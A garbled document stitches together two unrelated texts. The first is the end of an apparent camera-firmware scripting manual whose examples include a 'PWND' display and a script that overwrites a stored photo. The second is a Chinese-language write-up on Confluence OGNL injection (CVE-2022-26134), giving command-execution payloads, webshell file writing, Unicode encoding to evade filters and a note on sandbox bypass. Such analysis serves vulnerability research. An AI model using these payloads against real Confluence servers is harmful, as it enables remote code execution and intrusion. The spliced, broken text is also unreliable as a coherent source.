DispCon SetLcdGainAdjParameter()
TODO: Undocumented.
Example :
DispCon SetLcdGainAdjParameter ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.16
DispCon GetLcdGainAdjParameter()
TODO: Undocumented.
Example :
DispCon GetLcdGainAdjParameter ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.17
DispCon ShowLcdGainAdjParameter()
TODO: Undocumented.
Example :
DispCon ShowLcdGainAdjParameter ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
95
0.15.18
DispCon SaveLcdGainAdjParameter()
TODO: Undocumented.
Example :
DispCon SaveLcdGainAdjParameter ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.19
LcdCon SetLcdBackLightBrightness()
TODO: Undocumented.
Example :
LcdCon SetLcdBackLightBrightness ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.20
LcdCon SetLcdBackLightParameter()
TODO: Undocumented.
Example :
LcdCon SetLcdBackLightParameter ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.21
LcdCon GetLcdBackLightParameter()
TODO: Undocumented.
Example :
LcdCon GetLcdBackLightParameter ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.22
LcdCon ShowLcdBackLightParameter()
TODO: Undocumented.
Example :
LcdCon ShowLcdBackLightParameter ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.23
LcdCon SaveLcdBackLightParameter()
TODO: Undocumented.
Example :
LcdCon SaveLcdBackLightParameter ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
96
0.15.24
LcdCon SetLcdDriver()
TODO: Undocumented.
Example :
LcdCon SetLcdDriver ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.25
LcdCon SetLcdAdjParameter()
TODO: Undocumented.
Example :
LcdCon SetLcdAdjParameter ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.26
LcdCon GetLcdAdjParameter()
TODO: Undocumented.
Example :
LcdCon GetLcdAdjParameter ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.27
LcdCon ShowLcdAdjParameter()
TODO: Undocumented.
Example :
LcdCon ShowLcdAdjParameter ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.28
LcdCon SaveLcdAdjParameter()
TODO: Undocumented.
Example :
LcdCon SaveLcdAdjParameter ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.29
LcdCon IsNewLcd()
TODO: Undocumented.
Example :
LcdCon IsNewLcd ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
97
0.15.30
LcdCon IsNewLcdType()
TODO: Undocumented.
Example :
LcdCon IsNewLcdType ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.31
LcdCon SetLcdParameter()
TODO: Undocumented.
Example :
LcdCon SetLcdParameter ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.32
LcdCon GetLcdParameter()
TODO: Undocumented.
Example :
LcdCon GetLcdParameter ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.33
LcdCon ShowLcdParameter()
TODO: Undocumented.
Example :
LcdCon ShowLcdParameter ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.34
LcdCon SaveLcdParameter()
TODO: Undocumented.
Example :
LcdCon SaveLcdParameter ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.35
LcdCon StartLcdPeriodicalSetting()
TODO: Undocumented.
Example :
LcdCon StartLcdPeriodicalSetting ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
98
0.15.36
LcdCon StopLcdPeriodicalSetting()
TODO: Undocumented.
Example :
LcdCon StopLcdPeriodicalSetting ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.16
FA.Create()
Example :
FA. Create ()
Allows the use of the following function:
0.16.1
InitializeAdjustmentSystem()
TODO: Undocumented.
Example :
InitializeAdjustmentSystem ()
Note: needs prior call to the FA.Create() function to activate.
0.16.2
InitializeAdjustmentFunction()
TODO: Undocumented.
Example :
InitializeAdjustmentFunction ()
Note: needs prior call to the FA.Create() function to activate.
0.16.3
TerminateAdjustmentSystem()
TODO: Undocumented.
Example :
TerminateAdjustmentSystem ()
Note: needs prior call to the FA.Create() function to activate.
0.16.4
InitializeTestRec()
TODO: Undocumented.
Example :
I n i t i a l i z e T e s t R e c ()
Note: needs prior call to the FA.Create() function to activate.
99
0.16.5
TerminateTestRec()
TODO: Undocumented.
Example :
TerminateTestRec ()
Note: needs prior call to the FA.Create() function to activate.
0.16.6
ExecuteTestRec()
TODO: Undocumented.
Example :
ExecuteTestRec ()
Note: needs prior call to the FA.Create() function to activate.
0.16.7
ExecuteTestRecCF()
TODO: Undocumented.
Example :
ExecuteTestRecCF ()
Note: needs prior call to the FA.Create() function to activate.
0.16.8
InitializeDigicon()
TODO: Undocumented.
Example :
I n i t i a l i z e D i g i c o n ()
Note: needs prior call to the FA.Create() function to activate.
0.16.9
TerminateDigicon()
TODO: Undocumented.
Example :
TerminateDigicon ()
Note: needs prior call to the FA.Create() function to activate.
0.16.10
ExecuteDigicon()
TODO: Undocumented.
Example :
ExecuteDigicon ()
Note: needs prior call to the FA.Create() function to activate.
100
0.16.11
Initializedccd()
TODO: Undocumented.
Example :
I n i t i a l i z e d c c d ()
Note: needs prior call to the FA.Create() function to activate.
0.16.12
Terminatedccd()
TODO: Undocumented.
Example :
Terminatedccd ()
Note: needs prior call to the FA.Create() function to activate.
0.16.13
Executedccd()
TODO: Undocumented.
Example :
Executedccd ()
Note: needs prior call to the FA.Create() function to activate.
0.16.14
GetdccdImage()
TODO: Undocumented.
Example :
GetdccdImage ()
Note: needs prior call to the FA.Create() function to activate.
0.16.15
GetdccdFilterValue()
TODO: Undocumented.
Example :
GetdccdFilterValue ()
Note: needs prior call to the FA.Create() function to activate.
0.16.16
EnableDebugLogMode()
TODO: Undocumented.
Example :
EnableDebugLogMode ()
Note: needs prior call to the FA.Create() function to activate.
101
0.16.17
DisableDebugLogMode()
TODO: Undocumented.
Example :
DisableDebugLogMode ()
Note: needs prior call to the FA.Create() function to activate.
0.16.18
SetDefaultRecParameter()
TODO: Undocumented.
Example :
SetDefaultRecParameter ()
Note: needs prior call to the FA.Create() function to activate.
0.16.19
SetDefectRecParameter()
TODO: Undocumented.
Example :
SetDefectRecParameter ()
Note: needs prior call to the FA.Create() function to activate.
0.16.20
SetSensitiveRecParameter()
TODO: Undocumented.
Example :
SetSensitiveRecParameter ()
Note: needs prior call to the FA.Create() function to activate.
0.16.21
SetSensitiveDefectRecParameter()
TODO: Undocumented.
Example :
SetSensitiveDefectRecParameter ()
Note: needs prior call to the FA.Create() function to activate.
0.16.22
InitializeSoundRec()
TODO: Undocumented.
Example :
InitializeSoundRec ()
Note: needs prior call to the FA.Create() function to activate.
102
0.16.23
TerminateSoundRec()
TODO: Undocumented.
Example :
TerminateSoundRec ()
Note: needs prior call to the FA.Create() function to activate.
0.16.24
StartSoundRecord()
TODO: Undocumented.
Example :
StartSoundRecord ()
Note: needs prior call to the FA.Create() function to activate.
0.16.25
FreeBufferForSoundRec()
TODO: Undocumented.
Example :
FreeBufferForSoundRec ()
Note: needs prior call to the FA.Create() function to activate.
0.16.26
StartSoundPlay()
TODO: Undocumented.
Example :
StartSoundPlay ()
Note: needs prior call to the FA.Create() function to activate.
0.16.27
ShowTransparentMemory()
TODO: Undocumented.
Example :
ShowTransparentMemory ()
Note: needs prior call to the FA.Create() function to activate.
0.16.28
DumpTransparentMemoryItem()
TODO: Undocumented.
Example :
DumpTransparentMemoryItem ()
Note: needs prior call to the FA.Create() function to activate.
103
0.16.29
AddTransparentMemory()
TODO: Undocumented.
Example :
AddTransparentMemory ()
Note: needs prior call to the FA.Create() function to activate.
0.16.30
AttachToTransparentMemory()
TODO: Undocumented.
Example :
AttachToTransparentMemory ()
Note: needs prior call to the FA.Create() function to activate.
0.16.31
RemoveTransparentMemory()
TODO: Undocumented.
Example :
RemoveTransparentMemory ()
Note: needs prior call to the FA.Create() function to activate.
0.16.32
GetTransparentMemorySize()
TODO: Undocumented.
Example :
GetTransparentMemorySize ()
Note: needs prior call to the FA.Create() function to activate.
0.16.33
GetTransparentMemory()
TODO: Undocumented.
Example :
GetTransparentMemory ()
Note: needs prior call to the FA.Create() function to activate.
0.16.34
GetTransparentMemoryPosition()
TODO: Undocumented.
Example :
GetTransparentMemoryPosition ()
Note: needs prior call to the FA.Create() function to activate.
104
0.16.35
StartFactoryModeController()
TODO: Undocumented.
Example :
StartFactoryModeController ()
Note: needs prior call to the FA.Create() function to activate.
0.16.36
IsFactoryMode()
TODO: Undocumented.
Example :
IsFactoryMode ()
Note: needs prior call to the FA.Create() function to activate.
0.16.37
SetFactoryMode()
TODO: Undocumented.
Example :
SetFactoryMode ()
Note: needs prior call to the FA.Create() function to activate.
0.16.38
ClearFactoryMode()
TODO: Undocumented.
Example :
ClearFactoryMode ()
Note: needs prior call to the FA.Create() function to activate.
0.16.39
DisplayFactoryMode()
TODO: Undocumented.
Example :
DisplayFactoryMode ()
Note: needs prior call to the FA.Create() function to activate.
0.16.40
UndisplayFactoryMode()
TODO: Undocumented.
Example :
UndisplayFactoryMode ()
Note: needs prior call to the FA.Create() function to activate.
105
0.16.41
IsDUIDFixFlag()
TODO: Undocumented.
Example :
IsDUIDFixFlag ()
Note: needs prior call to the FA.Create() function to activate.
0.16.42
SetDUIDFixFlag()
TODO: Undocumented.
Example :
SetDUIDFixFlag ()
Note: needs prior call to the FA.Create() function to activate.
0.16.43
ClearDUIDFixFlag()
TODO: Undocumented.
Example :
ClearDUIDFixFlag ()
Note: needs prior call to the FA.Create() function to activate.
0.16.44
CreateAdjustmentTableMirror()
TODO: Undocumented.
Example :
CreateAdjustmentTableMirror ()
Note: needs prior call to the FA.Create() function to activate.
0.16.45
RefreshAdjustmentTableMirror()
TODO: Undocumented.
Example :
RefreshAdjustmentTableMirror ()
Note: needs prior call to the FA.Create() function to activate.
0.16.46
WRITEADJTABLETOFROM()
TODO: Undocumented.
Example :
WRITEADJTABLETOFROM()
Note: needs prior call to the FA.Create() function to activate.
106
0.16.47
LoadAdjustmentTable()
TODO: Undocumented.
Example :
LoadAdjustmentTable ()
Note: needs prior call to the FA.Create() function to activate.
0.16.48
SaveAdjustmentTable()
TODO: Undocumented.
Example :
SaveAdjustmentTable ()
Note: needs prior call to the FA.Create() function to activate.
0.16.49
SaveAdjustmentValue()
TODO: Undocumented.
Example :
SaveAdjustmentValue ()
Note: needs prior call to the FA.Create() function to activate.
0.16.50
LoadAdjustmentValue()
TODO: Undocumented.
Example :
LoadAdjustmentValue ()
Note: needs prior call to the FA.Create() function to activate.
0.16.51
ShowDefaultAdjTableVersion()
TODO: Undocumented.
Example :
ShowDefaultAdjTableVersion ()
Note: needs prior call to the FA.Create() function to activate.
0.16.52
EraseAdjustmentArea()
TODO: Undocumented.
Example :
EraseAdjustmentArea ()
Note: needs prior call to the FA.Create() function to activate.
107
0.16.53
DumpAdjMirror()
TODO: Undocumented.
Example :
DumpAdjMirror ()
Note: needs prior call to the FA.Create() function to activate.
0.16.54
GetAdjTableVersion()
TODO: Undocumented.
Example :
GetAdjTableVersion ()
Note: needs prior call to the FA.Create() function to activate.
0.16.55
GetAdjTableMapVersion()
TODO: Undocumented.
Example :
GetAdjTableMapVersion ()
Note: needs prior call to the FA.Create() function to activate.
0.16.56
GetAdjTableValueVersion()
TODO: Undocumented.
Example :
GetAdjTableValueVersion ()
Note: needs prior call to the FA.Create() function to activate.
0.16.57
PrintAdjTableMap()
TODO: Undocumented.
Example :
PrintAdjTableMap ()
Note: needs prior call to the FA.Create() function to activate.
0.16.58
AddAdjDataToFRom()
TODO: Undocumented.
Example :
AddAdjDataToFRom()
Note: needs prior call to the FA.Create() function to activate.
108
0.16.59
DeviceUniqueIDCheckSum()
TODO: Undocumented.
Example :
DeviceUniqueIDCheckSum ()
Note: needs prior call to the FA.Create() function to activate.
0.16.60
LoadParamDataFromAdjTableBin()
TODO: Undocumented.
Example :
LoadParamDataFromAdjTableBin ()
Note: needs prior call to the FA.Create() function to activate.
0.16.61
LoadDataFromAdjTableBin()
TODO: Undocumented.
Example :
LoadDataFromAdjTableBin ()
Note: needs prior call to the FA.Create() function to activate.
0.16.62
StartLogOut()
TODO: Undocumented.
Example :
StartLogOut ()
Note: needs prior call to the FA.Create() function to activate.
0.16.63
StopLogOut()
TODO: Undocumented.
Example :
StopLogOut ()
Note: needs prior call to the FA.Create() function to activate.
0.16.64
OutputLogToFile()
TODO: Undocumented.
Example :
OutputLogToFile ()
Note: needs prior call to the FA.Create() function to activate.
109
0.16.65
IsLogOutType()
TODO: Undocumented.
Example :
IsLogOutType ()
Note: needs prior call to the FA.Create() function to activate.
0.16.66
FAPrintf()
TODO: Undocumented.
Example :
FAPrintf ()
Note: needs prior call to the FA.Create() function to activate.
0.16.67
FADBGPrintf()
TODO: Undocumented.
Example :
FADBGPrintf ()
Note: needs prior call to the FA.Create() function to activate.
0.16.68
CreateFADBGSingalID()
TODO: Undocumented.
Example :
CreateFADBGSingalID ()
Note: needs prior call to the FA.Create() function to activate.
0.16.69
FADBGSingal()
TODO: Undocumented.
Example :
FADBGSingal ()
Note: needs prior call to the FA.Create() function to activate.
0.16.70
PrintFirmVersion()
TODO: Undocumented.
Example :
PrintFirmVersion ()
Note: needs prior call to the FA.Create() function to activate.
110
0.16.71
PrintFaexeVersioin()
TODO: Undocumented.
Example :
PrintFaexeVersioin ()
Note: needs prior call to the FA.Create() function to activate.
0.16.72
GetLogData()
TODO: Undocumented.
Example :
GetLogData ()
Note: needs prior call to the FA.Create() function to activate.
0.16.73
GetLogDataOnlyAddMemory()
TODO: Undocumented.
Example :
GetLogDataOnlyAddMemory ()
Note: needs prior call to the FA.Create() function to activate.
0.16.74
ActivateAdjLog()
TODO: Undocumented.
Example :
ActivateAdjLog ()
Note: needs prior call to the FA.Create() function to activate.
0.16.75
InactivateAdjLog()
TODO: Undocumented.
Example :
InactivateAdjLog ()
Note: needs prior call to the FA.Create() function to activate.
0.17
Examples
0.17.1
Print Skull
111
0.17.2
Print Skull
dim I=1
dim a=3
dim b=3
dim c=3
dim d , e , f , g , h , i , j , k , l ,m
private sub cr eat eSk ull ()
d=LCDMsg Create ()
e=LCDMsg Create ()
f=LCDMsg Create ()
g=LCDMsg Create ()
h=LCDMsg Create ()
i=LCDMsg Create ()
j=LCDMsg Create ()
k=LCDMsg Create ()
LCDMsg SetStr (d , ”PWND!
−−−−−” )
LCDMsg SetStr ( e , ”
1
Y 1” )
LCDMsg SetStr ( f , ”
1
1” )
LCDMsg SetStr (g , ”
1
()
()
1” )
LCDMsg SetStr (h , ”
1
/\
1” )
LCDMsg SetStr ( i , ”
1
1” )
LCDMsg SetStr ( j , ”
LLLLU” )
LCDMsg SetStr (k , ”
UUUUU” )
LCDMsg Move(d ,10 ,30)
LCDMsg Move( e ,10 ,60)
LCDMsg Move( f ,10 ,90)
LCDMsg Move(g ,10 ,120)
LCDMsg Move(h ,10 ,150)
LCDMsg Move( i ,10 ,180)
LCDMsg Move( j ,10 ,210)
LCDMsg Move(k ,10 ,240)
end sub
private sub Initialize ()
System . Create ()
’
H a b i l i t a
llamadas
del
sistema
Capture . Create ()
FA. Create ()
SS . Create ()
UI . Create ()
’ para que anda UIFS
UI . CreatePublic ()
Driver . Create ()
StartRedirectUART (1)
112
cr eat eSku ll ()
ShowAllTaskInfo ()
for c=0 to 10
for a=0 to 10
LEDDrive(a , 0 )
next
BeepDrive (2)
Wait (500)
BeepDrive (3)
for a=0 to 10
LEDDrive(a , 1 )
next
’ Colores :
’3=blanco
’0=negro
’1=g r i s
’5=verde
’>5=rojo
LCDMsg ChangeColor (d , 0 )
LCDMsg ChangeColor ( e , 0 )
LCDMsg ChangeColor ( f , 0 )
LCDMsg ChangeColor (g , 0 )
LCDMsg ChangeColor (h , 0 )
LCDMsg ChangeColor ( i , 0 )
LCDMsg ChangeColor ( j , 0 )
LCDMsg ChangeColor (k , 0 )
Wait (500)
LCDMsg ChangeColor (d , 3 )
LCDMsg ChangeColor ( e , 3 )
LCDMsg ChangeColor ( f , 3 )
LCDMsg ChangeColor (g , 3 )
LCDMsg ChangeColor (h , 3 )
LCDMsg ChangeColor ( i , 3 )
LCDMsg ChangeColor ( j , 3 )
LCDMsg ChangeColor (k , 3 )
next
Printf ( ”A\n” )
Printf ( ”A\n” )
Printf ( ”A\n” )
Printf ( ”A\n” )
end sub
private sub Terminate ()
113
end sub
0.17.3
Record Sound
dim I=1
dim a=3
dim b=3
dim c=3
private sub Initialize ()
System . Create ()
’
H a b i l i t a
llamadas
del
sistema
Capture . Create ()
FA. Create ()
SS . Create ()
UI . Create ()
’ para que anda UIFS
UI . CreatePublic ()
StartRedirectUART (1)
StartFactoryModeController ()
EnableDebugLogMode ()
InitializeSoundRec ()
FreeBufferForSoundRec ()
StartSoundRecord (3)
TerminateSoundRec ()
ShowTransparentMemory ()
DumpTransparentMemoryItem ( ”RECORDSOUNDDATA” )
’ StartSoundPlay ()
Printf ( ”A\n” )
Printf ( ”A\n” )
Printf ( ”A\n” )
Printf ( ”A\n” )
end sub
private sub Terminate ()
a=s t r l e n ( ”Aaaaaaaa\n” )
s p r i n t f (b , ”Aa%caaaaaaa\n” ,0)
a= Fopen Fut ( ”A/ t e s t . txt ” , ”w” )
Fwrite Fut ( ”AAAA” ,1 ,4 , a )
114
Fwrite Fut (b ,1 ,6 , a )
Fclose Fut ( a )
for a=0 to 10
Poke8 (0xC02200D8 ,0 x46 )
Wait (100)
Poke8 (0xC02200D8 ,0 x44 )
Wait (100)
next
Printf ( ”A\n” )
Printf ( ”BBA\n” )
Printf ( ”A\n” )
Printf ( ”A\n” )
’OpLog . Stop ()
end sub
0.17.4
Phantom picture
private sub say (b)
a=LCDMsg Create ()
LCDMsg SetStr (a , b)
ShowCameraLog ()
end sub
private sub Initialize ()
UI . CreatePublic ()
end sub
dim I=1
dim a=3
dim r=3
dim destino=0
private sub Terminate ()
’ StartRedirectUART (1)
System . Create ()
’
H a b i l i t a
llamadas
del
sistema
destino=AllocateMemory (34798)
r= Fopen Fut ( ”A/peron . jpg ” , ”rb” )
Fread Fut ( destino
,
34798 ,
1 ,
r )
Fclose Fut ( r )
a= Fopen Fut ( ”A/DCIM/100CANON/IMG 3600 .JPG” , ”wb” )
Fwrite Fut ( destino ,34798 ,1 , a )
Fclose Fut ( a )
115
say ( ” Peronist
e x p l o i t
deployed ! ” )
end sub
0.18
Firmware Dumping
For an explanation of firmware dumping of powershot cameras, please refer to
CHDK project (chdk.wikia.com) or CONFidence 2010 talk “de-blackboxing
digital camera” from altsoph.
116 | pdf |
Confluence EL Injection via OGNL
0x00 前言
上一篇文章《Confluence SSTI via Velocity》中的漏洞原理较为简单,采用了正向分析的方法去还原漏
洞挖掘的过程,这篇文章主要从补丁去逆向分析、尝试独立构造出 POC。
0x01 简介
本文将要介绍以下内容:
介绍OGNL 基本语法 & 内置沙箱机制,并通过一些例子进行初步掌握
梳理 Confluence 处理 HTTP 请求的基本流程
分析 CVE-2022-26134 的补丁,然后独立构造 Exploit
0x02 表达式语言 OGNL
OGNL 部分:
OGNL 介绍
基本使用 (能看懂并定制 poc/exp)
实战利用 (命令执行/回显/文件写入)
了解 OGNL
尽量从官方文档了解,因为信息在网上的多次传播后难免有失真的可能性。
OGNL (Object-Graph Navigation Language) is an expression language for getting and
setting properties of Java objects (操作 Java 对象的属性)。
基本语法和使用
0、基本单元
The fundamental unit(基本单元) of an OGNL expression is the navigation chain(导航
链), usually just called "chain"。
说明 OGNL 支持链式调用, 是以 “.”(点号)进行串联的一个链式字符串表达式。
例子:
伪代码
class people{
name = "zhang san"
fullName = {"zhang","san"}
getAge(){
return "18"
}
}
Confluence EL Injection via OGNL
No. 1 / 22
Expression Element(元素)
Part
Example
Property(属性) names
获取 people 的 name 属性,可用:people.name 表示
Method Calls
获取 people 的 age 属性,可用:people.getName() 表
示
Array Indices(数组索引)
获取 people 的姓氏 ,可用 people.fullName[0] 表示
1、三要素
通俗理解理解就和解语文的阅读理解题一样,需要搞清楚
故事:OGNL 表达式,表示执行什么操作
人物:OGNL ROOt对象,表示被操作的对象是谁
地点:OGNL 上下文环境,表示执行操作的环境在哪
2、常见符号介绍
Confluence EL Injection via OGNL
No. 2 / 22
操作
符
说明
.
调用对象的属性、方法
@
调用静态对象、静态方法、静态变量
#
定义变量、调用非root对象、访问 this 变量(当前调用者对应的实例)
${}
引入 OGNL 表达式;形如 ${xxxx}
%
表达式声明;形如 %{xxxx},告诉执行环境 xxxx 是OGNL表达式需要被计算
{}
构造 List;形如:{"aaa", "bbb"}
}
构造 Map;形如:#{"a" : "12345", "b" : "67890"}
this
当前对象所对应的实例,通过 #this 调用
new
可用已知对象的构造函数来构造对象;形如:new
java.net.URL("http:www.xxx.com/")
3、初阶使用
通过例子了解OGNL为何会从 feature 成为 vulnerability
1. 可调用静态方法
OgnlContext context = new OgnlContext();
String expression = "@java.lang.Runtime@getRuntime().exec(\"calc\")";
Ognl.getValue(expression,context);
Confluence EL Injection via OGNL
No. 3 / 22
2. 定义变量、传参、方法调用
3. new 关键字创建对象
OgnlContext context = new OgnlContext();
String expression =
"#cmd='notepad'," +
"@java.lang.Runtime@getRuntime().exec(#cmd)";
Ognl.getValue(expression,context);
OgnlContext context = new OgnlContext();
String expression = "(new java.lang.ProcessBuilder(new java.lang.String[]
{'calc'})).start()";
Ognl.getValue(expression,context);
Confluence EL Injection via OGNL
No. 4 / 22
4、中阶使用
从 Struts2 系列的 payload 中学习如何进行漏洞利用
1. 命令执行
2. 回显
测试效果
测试效果
# Runtime
@java.lang.Runtime@getRuntime().exec(\"calc\")
# ProcessBuilder
(new java.lang.ProcessBuilder(new java.lang.String[]{'calc'})).start()
# IOUtils
@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('i
pconfig').getInputStream())
# Scanner
new
java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStre
am()).useDelimiter('\\a').next()
Confluence EL Injection via OGNL
No. 5 / 22
实战时可通过 response 对象回显
3. 文件操作
单纯的命令执行无法满足需求时,可以写入 webshell
测试效果
5. 进阶知识
只作简单介绍,后续会更系统详细的学习 OGNL 更底层的知识
1. 如何触发 RCE Sink
方便白盒审计
触发例子:
#writer = response.getWriter()
#writer.println("exec result")
#writer.flush()
#writer.close()
String expression =
"#filepath =
'F:/workspace/java/application/atlassian/confluence/code/local/confluence-
exploit-beta/',"+
"#filename = 'shell.jsp'," +
"#filecontent = 'pwned by 1337'," +
"#fos=new java.io.FileOutputStream((#filepath + #filename))," +
"#fos.write(#filecontent.getBytes())," +
"#fos.close()";
OgnlContext context = new OgnlContext();
Ognl.getValue(expression,context);
getValue()
setValue() # 本质还是 getValue
findValue() # 本质还是 getValue
Confluence EL Injection via OGNL
No. 6 / 22
2、getValue()、setValue() 运算符优先级
3、隐藏在 issue 里的 "trick"
比如在 poc 中 unicode 编码的思路从何而来?
在知识储备不够的情况只能到处薅信息,找灵感:
# getValue()
OgnlContext context = new OgnlContext();
Ognl.getValue("(new java.lang.ProcessBuilder(new java.lang.String[]
{'calc'})).start()", context);
# setValue()
OgnlContext context = new OgnlContext();
Ognl.setValue("((new java.lang.ProcessBuilder(new java.lang.String[]
{'calc'})).start())(1)", context,"");
# findValue()
OgnlValueStack stack = new OgnlValueStack();
stack.findValue("(new java.lang.ProcessBuilder(new java.lang.String[]
{'calc'})).start()");
Confluence EL Injection via OGNL
No. 7 / 22
例子(OGNL v2.6.9):
测试效果
# new 关键字 Unicode编码后得到 \u006e\u0065\u0077
(\u006e\u0065\u0077 java.lang.ProcessBuilder(new java.lang.String[]
{"calc"})).start()
Q: 为什么会支持 Unicode? 是否还支持其他编码或特性?
A: 先贴上调用栈,不占篇幅详述,留到OGNL的专项篇
readChar:249, JavaCharStream (ognl)
BeginToken:184, JavaCharStream (ognl)
getNextToken:1471, OgnlParserTokenManager (ognl)
jj_ntk:3078, OgnlParser (ognl)
unaryExpression:1080, OgnlParser (ognl)
multiplicativeExpression:972, OgnlParser (ognl)
additiveExpression:895, OgnlParser (ognl)
shiftExpression:751, OgnlParser (ognl)
relationalExpression:509, OgnlParser (ognl)
equalityExpression:406, OgnlParser (ognl)
andExpression:353, OgnlParser (ognl)
exclusiveOrExpression:300, OgnlParser (ognl)
inclusiveOrExpression:247, OgnlParser (ognl)
logicalAndExpression:194, OgnlParser (ognl)
logicalOrExpression:141, OgnlParser (ognl)
conditionalTestExpression:102, OgnlParser (ognl)
assignmentExpression:65, OgnlParser (ognl)
expression:24, OgnlParser (ognl)
topLevelExpression:16, OgnlParser (ognl)
parseExpression:113, Ognl (ognl)
getValue:454, Ognl (ognl)
getValue:433, Ognl (ognl)
main:12, OGNLTrigger (com.demo)
Confluence EL Injection via OGNL
No. 8 / 22
基于黑名单的沙箱机制
在线diff源码,发现 OGNL 在 v3.1.25 版本加入了基于黑名单的沙箱机制
限制对某些特定方法的调用,以及在OGNL invokeMethod()中没有(明显的)合法用例存在的某些类/接口的所
有方法的调用,比如命令执行需要的 Runtime、ProcessBuilder等。
例子:
将 OGNL 版本升到有黑名单限制的版本,执行带命令执行的表达式,会抛出以下异常
因为方法 invokeMethod() 中 调用了 isAssignableFrom() 方法判断 Class 对象所表示的类或接
口与指定的 Class 参数所表示的类或接口是否相同,或是否是其超类或超接口。如果是则返回 true ,
抛出异常:
Prevent calls to some specific methods, as well as all methods of certain
classes/interfaces for which no (apparent) legitimate use cases exist for their
usage within OGNL invokeMethod().
Confluence EL Injection via OGNL
No. 9 / 22
测试效果
0x03 框架 WebWork 分析
WebWork 部分:
简单介绍Confluence 是如何处理 HTTP 请求的
一张 Confluence 的架构图 (远古)
https:developer.atlassian.com/server/confluence/images/42732834.png
采用的HTTP 请求的处理框架:WebWork2, 在官网找到了一份 03 年的 ppt 有做介绍:
Q:如何绕过其内置的黑名单呢?
A:方式挺多的,这里以 ScriptEngine 为例
Confluence EL Injection via OGNL
No. 10 / 22
一张百度百科的 WebWork 架构图
把一个请求的生命周期描述得很清楚,关注3个关键部分
Confluence EL Injection via OGNL
No. 11 / 22
名称
说明
Actions
代表一次请求或调用,其Action类需要实现Action接口或继承基础类
ActionSupport,实现了默认的execute方法,并返回一个在配置文件中定义的
Result。Action也可以只是一个POJO,不用继承任何类也不用实现任何接口。
Action是一次请求的控制器,同时也充当数据模型的角色。
Results
一个结果页面的定义,用来指示Action执行之后,如何显示执行的结果。Result
Type表示如何以及用哪种视图技术展现结果。通过Result Type,WebWork可以方
便的支持多种视图技术(即Jsp、FreeMarker、Velocity等)。
Interceptors
WebWork的拦截器,WebWork截获Action请求,在Action执行之前或之后调用拦截
器方法。这样,可以用插拔的方式将功能注入到Action中。WebWork框架的很多功能
都是以拦截器的形式提供出来。例如:参数组装,验证,国际化,文件上传等等。
以动态调试的方式跟一下大致的处理流程
com.opensymphony.webwork.dispatcher.ServletDispatcher#service 下断点
发起请求
http:10.1.1.1:8090/xxx/login.action
命中断点
经过一系列的 Filter 处理后,走到 ServletDispatcher#service ,接着会调用以下方法获取相应的值
以 getNameSpace() 为例,其处理流程如下:
this.getNameSpace()
this.getActionName()
this.getRequestMap()
this.getParameterMap()
this.getSessionMap()
request.getServletPath() getNamespaceFromServletPath(servletPath)
servletPath.substring(0, servletPath.lastIndexOf("/"))
Confluence EL Injection via OGNL
No. 12 / 22
namespace 请求路径最后一个 / 之前的内容
若请求 /login.action namespace 就是 ""
若请求 /xxx/login.action name 则等于 /xxx
如图:
然后会走到 DefaultActionInvocation#invoke ,首先获取一个实现了List接口的数组,有 32 个拦
截器
开始迭代循环
com.opensymphony.xwork.DefaultActionInvocation#invoke
com.opensymphony.xwork.interceptor.AroundInterceptor#intercept
com.opensymphony.xwork.DefaultActionInvocation#invoke
Confluence EL Injection via OGNL
No. 13 / 22
当 resultCode 不为 null 时则跳出循环,然后执行 this.executeResult() ->
this.createResult() ,根据 resultCode 获取 resultConfig
接着调用 ObjectFactory#buildResult() 构建 result , 获取到 login.action 对应的模板文
件位置 /login.vm
此时 this.result 对应的类为 EncodingVelocityResult 继承自
WebWorkResultSupport , this.result.execute() 调用的是
WebWorkResultSupport.execute()
Confluence EL Injection via OGNL
No. 14 / 22
可见都会执行到 execute(),实现该方法的类也不多,就8个,而且 ActionChainResult 明晃晃地
排在首位
然后在方法 Result#excute() 里调用 TextParseUtil#translateVariables() 对 Variable
进行 Translate
最后再调用 VelocityResult#doExecute() 使用 Velocity 模板引擎加载模板文件 login.vm
进行渲染,然后返回结果。
# 题外话 (事后诸葛亮)
如果在分析 Confluence 历史漏洞时肯耐心地像这样梳理一遍 Confluence 对 HTTP 请求的处理过
程,其实只要跟进了 translateVariables() 方法里,还是有很大地机会挖到 CVE-2022-26134
的,毕竟 findValue() 就在那里 :)
# 若 expression 可控
可以构造形如 ${xxx} 的 payload,触发 stack.findValue(),达到 RCE 的效果
Confluence EL Injection via OGNL
No. 15 / 22
如图:
至此,Confluence 的 HTTP 请求的处理流程梳理完毕。
流程总结:
客户端发起对 /xxx/login.action 的 HTTP 请求
经过一系列 Filter 处理后,会走到 ServletDispatcher#service() 进行分发请求
通过 this.getNameSpace()、this.getActionName()等方法获取所需的属性,如: namespace等
会对 拦截器数组进行迭代循环,直到 resultCodenull 跳出循环
根据 resultCode 构建 this.result 并获取 login.action 对应的模板文件 /login.vm
执行 this.result.excute() 时会调用 translateVariables() 对一些变量进行 Translate
Converted object from variable translation.
会对表达式进行解析,存在 OGNL Injection 的风险
最后就是加载模板文件进行处理 & 渲染,然后返回给客户端。
